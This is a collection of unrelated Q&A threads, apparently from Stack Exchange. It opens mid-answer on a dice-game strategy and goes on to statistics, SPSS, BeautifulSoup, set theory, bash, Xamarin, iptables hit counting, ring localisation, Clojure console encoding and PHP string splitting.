I believe that the most reasonable strategy would be to always pick up the available pile(s) with the least probability of appearing again - in theory this should give you the best opportunity to collect as many as possible, making it least likely to be in a situation where no pile is available. So, the priority order would be 9,8,7,1,{6,4,2},{5,3}.
(edit: Because I've redone the work, for those who wish to look a bit further into the distribution, here's the full list:
<code>|d1|d2|sum|Piles Offered|
|--|--|---|-------------|
|1 |1 |2  |2            |
|1 |2 |3  |{1, 2}, 3    |
|1 |3 |4  |{1, 3}, 4    |
|1 |4 |5  |{1, 4}, 5    |
|1 |5 |6  |{1, 5}, 6    |
|1 |6 |7  |{1, 6}, 7    |
|2 |1 |3  |{1, 2}, 3    |
|2 |2 |4  |4            |
|2 |3 |5  |{2, 3}, 5    |
|2 |4 |6  |{2, 4}, 6    |
|2 |5 |7  |{2, 5}, 7    |
|2 |6 |8  |{2, 6}, 8    |
|3 |1 |4  |{1, 3}, 4    |
|3 |2 |5  |{2, 3}, 5    |
|3 |3 |6  |6            |
|3 |4 |7  |{3, 4}, 7    |
|3 |5 |8  |{3, 5}, 8    |
|3 |6 |9  |{3, 6}, 9    |
|4 |1 |5  |{1, 4}, 5    |
|4 |2 |6  |{2, 4}, 6    |
|4 |3 |7  |{3, 4}, 7    |
|4 |4 |8  |8            |
|4 |5 |9  |{4, 5}, 9    |
|5 |1 |6  |{1, 5}, 6    |
|5 |2 |7  |{2, 5}, 7    |
|5 |3 |8  |{3, 5}, 8    |
|5 |4 |9  |{4, 5}, 9    |
|6 |1 |7  |{1, 6}, 7    |
|6 |2 |8  |{2, 6}, 8    |
|6 |3 |9  |{3, 6}, 9    |
</code>
Comment: "I believe that the most reasonable strategy would be to always pick up the available pile(s) with the least probability of appearing again" : personally, I would consider balancing this priority with the priority of trying to ensure that the higher numbers (i.e. points) are *captured*.  However, from your chart, it seems that the two priorities **coincide**.  So, even if you agree with me, taking your math at face value, there doesn't seem to be a conflict.

rolling two dice and take the money


Co-occurrence of properties in a population

Question: I have 150 properties that may occur in a population of 10000 people. Individual people may have none, one or a couple of these properties. The properties are not mutually exclusive and have different frequencies in the population.
I would like to answer two questions here:

Are particular sets of these properties associated, that is do they occur together in a person more often than can be expected by chance?
The method should not only analyse for pair-wise co-occurrence of two properties, but also identify sets of properties that occur together.
Ideally I'd like to have a probability measure like a p-value for a given set of properties telling me the likelihood of observing this combination of properties just by chance.
Given a sample of e.g. 50 out of the 10000 people I'd like to know whether the co-occurrence of properties observed in the sample is significantly different from a random sample of people from the population.

How would I best address this in statistical / mathematical terms? Are there any tools you could recommend for the calculation?
Comment: Be careful when searching for co-occurrences with so many variables (variables^2 > observations, it should be variables^2 much less than the number of observations), you are in risk of searching for images in the sky. There *will* be some "significant" co-occurences just by chance.
Comment: And how would you do it given that I reduce the number of properties I consider to a reasonable number? (The number of people having a particular property would be around 50-5000 depending on the property - if that plays a role as well)
Answer: For a much smaller number of properties, consider a log-linear model, or perhaps some other generalized linear model depending on the underlying process generating your data. Specifically, each of the "properties" of interest should be considered a binary variable (presence vs absence of property). Note that this approach can flexibly handle variables with any number of categories. The gist of this approach is that you are modeling log cell counts in the P-way table based on the P variables used. Your question number (1) involves testing for interactions between the variables. Your question (2) would involve creating a new categorical variable based on group membership, and testing whether or not this new variable is significantly related to log cell count.
Depending upon your objectives, you should look into latent class models. This is similar to PCA, but adapted to categorical variables. If you would indeed rather use a large number of variables as stated in your question, this will combine the initial variables in an optimal way, thereby reducing them down to a smaller number of varibles that captures as large a proportion of the total variance as possible. This may help achieving your objective (1), as you can see which variables get grouped together.


How does SPSS calculate composite variable for MANOVA/Multivariate multiple regression?

Question: I have analysed my data using multivariate multiple regression (8 IVs, 3 DVs), and significant composite results have been found.
Before reporting my findings, I want to discuss in my results chapter (briefly) how the composite variable is created.
I have done some reading, and in the sources I have found, authors simply state that a 'weighted linear composite' or a 'linear combination of DVs' is created by SPSS (the software I am using).
They do not explain how they are weighted, and as someone relatively new to multivariate statistics, I am still unclear.
Are the composite DVs simply a mean score of the three DVs I am using, or is a more sophisticated method used on SPSS?
If the latter is true, could anyone either a) explain what this method is, or b) signpost some useful (and accessible) readings which explain the method of creating composite variables?
Many thanks
Comment: What procedure (command name) are you using? What spss version?
Comment: Hi @ttnphns - I am using the GLM following the syntax found on this link https://www-01.ibm.com/support/docview.wss?uid=swg21476743 and I am using SPSS 24. Thanks
Comment: By "composite variable" you probably mean the prediction made by the model, the linear combination of IVs. Just you may look in SPSS Algorithms, GLM, Multivariate, if tou need concrete formulas. Note that because the predictand is multivariate, the formulas are likely to be written in matrix notation.
Comment: Spss Algorithms document is under Help menu, it is also dowloadable from internet in pdf format.
Comment: Thank you for the prompt response @ttnphns

Below my original post, I have taken a screenshot of the specific results I am trying to interpret. My understanding is that these results indicate the extent to which there is a relationship between each IV and a composite of my DVs

Thus, I am just trying to determine how the DV for these tests were calculated

I will check out the guidance, thanks
Comment: The output you are showing is the different multivariate tests. This table is analogous to the ANOVA table (showing the significance of univariate F test) of univariate regression or ANOVA.
Comment: These tests are described briefly in this my answer https://stats.stackexchange.com/a/255444/3277. (However, there are given formulas for the case of one categorical predictor.)
Answer: Multivariate tests in GLM are created using the multivariate general linear hypothesis form $L\beta M = K$ where $L$ is a matrix of contrast coefficients applied to the predictors, $\beta$ is the matrix of population regression coefficients, $M$ is a transformation matrix of the dependent variables, and $K$ is the matrix of null-hypothesized values for $L\beta M$, typically (and by default) $0$. As @ttnphns indicates, that these are matrices rather than scalars.
In the case of these particular tests, $L$ is actually a vector $l$ consisting of 0 values for the intercept and all but one of the predictors, which has a 1. $\hat{\beta}$, or the estimated matrix of regression coefficients, is used for $\beta$, and $M$ is an identity matrix of order equal to the number of dependent variables, in your case three.
The regression of each dependent on the set of predictor variables is the same here as if you were to run each one separately. The same regression coefficients and univariate test statistics will result either way. The null hypotheses tested in the multivariate case are simply the intersections of the univariate null hypotheses: the population $\beta$ for a given predictor is 0 for each of the dependent variables.
What's done in the multivariate case is simply to pool information about the correlations among the dependent variables to create more powerful tests of the same hypotheses you'd test about each dependent variable separately.


Ignoring Duplicates in Beautifulsoup Find_All

Question: So i'm trying to parse some HTML by only returning paragraphs and and list tags, which is easy enough. Below is an example of what i've done so far:
def main():
    soup = BeautifulSoup(html, 'html.parser').find_all()
    print "output:"
    for tag in soup:
       if tag.name == 'p':
          print tag.text # Text to be used to create a RichText object
       elif tag.name == 'li':
          print tag.text # Text to be used to create a RichText object

HTML:
"

INSIDE TAG

LIST1

LIST2

OUTSIDE TAG
 "

Output:
INSIDE TAG
INSIDE TAG
LIST1
LIST2
OUTSIDE TAG

As you can see, if a tag contains another tag of the same type, in this example a paragraph, it is repeated and i was wondering if there was a better approach to this to avoid this from happening? The main issue is that it may be any tag where this can happen, as i have no control over the input HTML. Many thanks
Answer: for tag in soup:
    if tag.name == 'p' and tag.parent.name !='p':
        print tag.text # Text to be used to create a RichText object
    elif tag.name == 'li':
        print tag.text # Text to be used to create a RichText object

You can check tag's parent name to filter it


Proving that a set is dedekind-infinite if and only if it has a countably infinite subset

Question: I am interested in proving the following statement:

A set is Dedekind-infinite if and only if it has a countably infinite subset.

Here is my attempt:
$(\Leftarrow)$ Suppose that $A$ has a countably infinite subset $E$. Arrange the terms of $E$ in a sequence $x_0,x_1,x_2,\dots$ of distinct elements. Now let $f:A\to A\setminus\{x_0\}$ be defined as follows:
$$
f(x)=
\begin{cases}
x_{n+1} &\text{if $x=x_n$ for some $n\in\mathbb N$} \\
x &\text{otherwise}
\end{cases}
$$
Then, $f$ is a bijection from $A$ to a proper subset of $A$, namely $A\setminus\{x_0\}$.
However, I am unsure how to prove the forward implication. Does it require a form of the axiom of choice?
Comment: I'm not sure what the bounty is for. Arvid gave a complete answer.
Answer: Suppose $A$ is in bijection with a proper subset $B$, that is, there exists a bijection $f : A \to B$. Suppose $x_0 \in A-B$. Then we can define a sequence of distinct terms by $x_{n+1} = f(x_n)$, which is countably infinite as $f$ is injective.
Comment: Right. And you need to prove that the map $\mathbb{N} \to B$ is injective. To this end: Suppose for contradiction that $f^k(x_0) = f^{k+n}(x_0)$ for some $k$, $n>0$. Using injectivity of $f$, we get $x_0 = f^n(x_0)$. But we choose $x_0 \not\in f(A)$, a contradiction.
Comment: Thanks, I think I understand this answer now. If we let $B$ be a proper of subset of $A$ for which there is a bijection $f:A\to B$, then we define an injective map $\phi:\mathbb N\to B$ given by $\phi(n)=f^n(x_0)$. Then, $\phi(\mathbb N)\subseteq B\subsetneq A$, and $|\phi(\mathbb N)|=|\mathbb N|$, so $\phi(\mathbb N)$ is a countably infinite subset of $A$.


What is the use of which php in Bash?

Question: I do find in few codes that
php=`which php`

what is the use of this command in bash. What does it do?
What will happen if we did not use it?
Comment: I suggest: `man which`
Comment: The command shows you the symlinked location of your php whenever you type `php`, the re-defining of `php` might change the result after the first time
Comment: What shall it happen if we don't use it?
Comment: You will need to manually give the full path of php if you want to use someother php than default one installed in your `PATH`. See answer below.
Answer: It means where is php located and which one to be selected if there are multiple php installations. And probably it is one with backticks rather than single quotes like
php=`which php`

so if your highest precedence php is located at  /usr/bin/php, php variable will be assigned that value.
Comment: If there is only default PHP installation and is in the default path, then we may not need this. Isn't it?
Comment: usually no you don't need it then.

What is the use of which php in Bash?


Publicar app em Xamarin para Android 5 na Google Play

Question: A Google Play não está permitindo eu publicar um aplicativo que rode em Android menor que 8.0. Estou usando as seguintes configurações:

Compile using Android version: 8.1
Minimum Android version: 5.0
Target Android version: Use Compile using SDK version

É alguma configuração errada?
Answer: RESOLVIDO
O problema estava em Target Android version que não pode ficar "Use Compile using SDK version", deve ficar definido a versão explicita do Android, no caso, 26 ou superior.
Answer: É isso mesmo, a versão mínima atualmente é a 8, você não vai conseguir enviar apps com versões anteriores.
Fonte:
Todo APK tem um targetSdkVersion no arquivo de manifesto, também conhecido como o nível desejado da API. Essa versão informa como seu app é executado em diferentes versões do Android.
Configurar o app para segmentar níveis de API recentes garante que os usuários terão melhorias na segurança e no desempenho. Ao mesmo tempo, o app poderá ser executado em versões mais antigas do Android (até a minSdkVersion).
O APK enviado por você precisa atender aos requisitos de nível de API do Google Play. Veja os níveis que os apps precisam segmentar atualmente e no futuro.
Requisito de nível de API   Android 8.0 (nível 26 de API)
1º de agosto de 2018: necessário para novos apps
1º de novembro de 2018: necessário para atualizações de apps

Android 9 (nível 28 de API)
1º de agosto de 2019: necessário para novos apps
1º de novembro de 2019: necessário para atualizações de apps

Após esses requisitos entrarem em vigor, o Play Console impedirá o envio de novos APKs por meio de níveis desejados de API mais antigos.
Dica: para orientações técnicas sobre como alterar o nível desejado da API do seu app para cumprir esses requisitos, consulte o guia de migração.
fonte: https://support.google.com/googleplay/android-developer/answer/113469?hl=pt-BR#targetsdk
Comment: Eu vi isso, mas ai fala **"Ao mesmo tempo, o app poderá ser executado em versões mais antigas do Android"**, ou seja, dá a entender que é possível usar em versão 7, 6,... .

A unica solução que eu encontrei foi aumentar a versão mínima para 8, mas as pessoas que irão utilizar possuem celulares antigos.
Comment: Então Afonso está meio confuso mesmo, mas eu entendi que você não vai conseguir enviar o app, maaas tente o seguinte : minSdkVersion 21 e targetSdkVersion 26. se não funcionar realmente está bloqueado o envio


How does iptables --hitcount collect its values?

Question: I'm looking at SSH brute force prevention with iptables recent module.
I would like to know how does the --hitcount collect the value that it will use? Is it bytes, packets, no. of conntracked items or something else?
Comment: The counter gets updated whenever the rule to do so is triggered. That depends on how and where you configure it, so include your iptables rule set for an actual answer please.
Answer: --rcheck --hitcount checks the value of an internal counter which is incremented by one for each hit on a -m recent --set (or --update) rule of the same --name.  Rules are evaluated in the context of packets, so the number of packets is the tracked quantity.  This from the man page for iptables on my CentOS 6 system:

   --hitcount hits

[...] When used, this will narrow the match to only happen when the address
  is in the list and packets had been received greater than or equal to
  the given value.
Comment: It's not just the same `--name`, it's also the _same thing_ being counted (either `--rsource` or `--rdest`). In most cases, the source (client) IP address.
Answer: The list of items are saved in a file under /proc/net/xt_recent/.... If you do not use the --name my-name option, then the name is set to DEFAULT.
To see the recent lists, just use ls:
ls /proc/net/xt_recent

To see the contents of one of those files, you can simply use less:
less -S /proc/net/xt_recent/DEFAULT

The fields are named, so it should be easy to understand what they represent. The date is a large number about 4x the standard Unix date (I've not yet figured out how they generate that number).
Now, if you want to know how many times it was hit, you want to count the number of timestamps starting from column 8. I do that with the following awk command:
awk '{out="";for(i=1;i<=7;i++){out=out" "$i};print out,"hitcount:",NF-7}' /proc/net/xt_recent/DEFAULT

It prints the first 7 columns as is, then it shows the total number of columns minus 7 which represents the hitcount.
As a side note, the maximum number of hits is 255. I have not seen that number documented, but if you try to use --hitcount 500, it won't work.


Prime elements in localisation

Question:
Def: [$p$ is prime] $\iff$ [$p | ab$ $\Rightarrow$ $(p | a)$ or $(p | b)$]

Assume
$$S_1(n) := \{n^k | k \geq 0\}$$
$$S_2(n) := \{m \in \mathbb{Z} | (m,n) = 1\}$$
I want to describe all prime elements in localisations $S_1^{-1}\mathbb{Z}$ and $S_2^{-1}\mathbb{Z}$. Which technique can I use here ?
Comment: Those rings are all subrings of $\Bbb{Q}$. So what happens here is that some of the primes of $\Bbb{Z}$ become units. Those that don't, remain primes. So, for each prime number $p$, you need to figure out whether $1/p$ is in the localization or not
Comment: Not quite. $1/3=2/6$ is in $S_1^{-1}\Bbb{Z}$ when $n=6$. And $1/17\in S_2^{-1}\Bbb{Z}$ when $n=6$.
Comment: @JyrkiLahtonen so in the first case, all prime elements of $\Bbb{Z}$ remain primes in it's localization, except $\pm n$ if n is prime. In the second case, all primes $p : |p| < n$ will become units. Am i right?
Answer: In the localization $S_1^{-1} \Bbb Z$, the number $n \in \mathbb Z$ becomes a unit. Now all the factors of $n$ in $\mathbb Z$ become units: Write $n = k \ell$. Then
$$\ell^{-1} = n^{-1} k \in S_1^{-1}\Bbb Z.$$
So all factors of $n$ become units, i.e., the primes in $S_1^{-1}\Bbb Z$ are all primes in $\mathbb Z$ except for the ones that are factors of $n$.
On the other hand, the units in $S_2^{-1} \Bbb Z$ are all numbers that are coprime to $n$. So the primes in $S_2^{-1}$ are the primes in $\mathbb Z$ which are a factor of $n$.
Comment: Thanks, I seem to have lost the ability to track my negations.

Prime elements in localisation


UTF-8 characters not displayed correctly in console

Question: I'm implementing a card game in Clojure and I want to use unicode characters to represent suits:
(def color-str "Maps card colors to strings"
  { :kreuz "♣", :grun "♠", :herz   "♥", :schell "♦" })

However instead of desired characters I get this result:
{:grun "ΓÖá", :herz "ΓÖÑ", :kreuz "ΓÖú", :schell "ΓÖª"}

Similarly, when I redefine color-str to:
(def color-str "Maps card colors to strings"
  { :kreuz \u2663, :grun \u2660, :herz \u2665, :schell \u2666 })

I get:
{:grun \ΓÖá, :herz \ΓÖÑ, :kreuz \ΓÖú, :schell \ΓÖª}

File is saved as UTF-8 without BOM. I already tried adding:
:javac-options ["-encoding utf8"]
:jvm-opts ["-Dfile.encoding=UTF-8"]

to the project.clj file but it didn't help. I know that console (Cygwin's Bash) is able to show those characters - when I copy-pasted { :kreuz "♣", :grun "♠", :herz   "♥", :schell "♦" } directly into REPL it displayed them correctly.
What did I miss?
Comment: The character encoding of the console is set to something different than what Clojure thinks it is set to.
Comment: Thanks! Running `cmd /c chcp 65001` did solve the problem.
Comment: @maddening you should post it as an answer and accept it.
Comment: I hoped @Jesper post it but I can do it as well.
Answer: My solution was to run:
cmd /c chcp 65001

It sets default code page in console to UTF-8. By default CMD uses code page default to current language and localization settings e.g. 437 for United States. Settings it to UTF-8 (65001) solves the issue.
I got the idea from 2nd answer in this question after @Jesper suggested that it's related to the console encoding.
Answer: The character encoding of the console is set to something different than what Clojure thinks it is set to.


how to change string to array (hash)?

Question: I have a string that is divided by "," and now I want to take the string into array.
<code>$text = "aaa, bbb, ccc"

$textArray = explode(",", $text);
// -> array("aaa","bbb","ccc)
</code>
But, I what this string to like this.
<code>// -> array("name" => array("aaa", "bbb" ,"ccc"))
</code>
Is there any php method to change the string into array like the above?
if not, what is the best way to implement this?
Thanks in advance:)
Comment: Thanks!! it should work!
Answer: This will do what you want :
<code><?php
    $text = "aaa, bbb, ccc";
    $explode = explode(",", $text);
    $textArray['name']=$explode ;
    print_r($textArray);

?>
</code>
OUTPUT:
<code> Array ( [name] => Array ( [0] => aaa [1] => bbb [2] => ccc ) )
</code>
Answer: I don't know if you tried this and did not like but look at it
<code>$textArray = array('name' => explode(",", $text));
</code>
I think it does its job
Comment: Thank you for your quick response! it should work.
Answer: <code>$text = "aaa, bbb, ccc";

$textArray = explode(",", $text);

$Finalarr=''; $Finalarr['name']=$textArray;

echo ''; print_r($Finalarr);
</code>
Hope you like this.
Comment: Thanks!!! I need to learn more.

how to change string to array (hash)?